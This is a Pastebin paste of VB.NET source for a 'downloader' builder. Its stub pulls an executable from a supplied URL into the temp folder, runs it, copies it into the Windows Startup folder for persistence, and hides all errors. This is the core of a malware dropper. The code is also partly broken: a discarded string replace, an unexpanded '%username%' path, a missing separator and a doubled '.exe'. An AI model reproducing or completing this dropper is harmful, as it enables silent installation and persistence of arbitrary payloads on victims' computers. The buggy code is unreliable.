Guest User

Downloader Help

a guest
Nov 28th, 2015
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.27 KB | None | 0 0
  1. Imports System.CodeDom.Compiler
  2. Imports System.CodeDom
  3.  
  4. Public Class Form1
  5.  
  6.     Dim directlink As String
  7.     Dim sfd As New SaveFileDialog
  8.  
  9.     Private Sub LogInButton1_Click(sender As Object, e As EventArgs) Handles LogInButton1.Click
  10.  
  11.         'This button will be used to compile our downloader
  12.  
  13.         sfd.Title = "Save downloader as..."
  14.         sfd.InitialDirectory = My.Computer.FileSystem.SpecialDirectories.Desktop
  15.         sfd.Filter = "Executables|*.exe"
  16.         sfd.ShowDialog()
  17.  
  18.         Dim filename As String = sfd.FileName
  19.         If filename.Contains(".exe") Then
  20.             filename.Replace(".exe", String.Empty)
  21.         End If
  22.  
  23.     End Sub
  24.  
  25.     Private Sub Downloader()
  26.         'This is the Downloader Sub, it will be the text that is inside a hidden textbox
  27.  
  28.         Try
  29.             If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.SpecialDirectories.Temp & sfd.FileName & ".exe") Then
  30.  
  31.                 My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & sfd.FileName & ".exe") 'Delete file
  32.  
  33.             End If
  34.             If My.Computer.FileSystem.FileExists("C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" & sfd.FileName & ".exe") Then
  35.  
  36.                 My.Computer.FileSystem.DeleteFile("C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" & sfd.FileName & ".exe") 'Delete file
  37.  
  38.             End If
  39.  
  40.             Dim URL As String = LogInNormalTextBox1.Text 'URL = Direct Link
  41.  
  42.             Dim FileLoc As String = My.Computer.FileSystem.SpecialDirectories.Temp & sfd.FileName & ".exe" 'Drop file to %temp%
  43.  
  44.             Dim FileLoc2 As String = "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" & sfd.FileName & ".exe" & ".exe" 'Drop file to startup path
  45.  
  46.             Dim fileIsAvailable As Boolean = My.Computer.FileSystem.FileExists(FileLoc)
  47.  
  48.             If fileIsAvailable = False Then
  49.                 Dim wc As New Net.WebClient
  50.                 wc.DownloadFile(URL, FileLoc)
  51.                 Process.Start(FileLoc)
  52.                 My.Computer.FileSystem.CopyFile(FileLoc, FileLoc2) 'Copy from %temp% to startup
  53.             End If
  54.         Catch ex As Exception
  55.  
  56.         End Try
  57.     End Sub
  58. End Class
Add Comment
Please, Sign In to add comment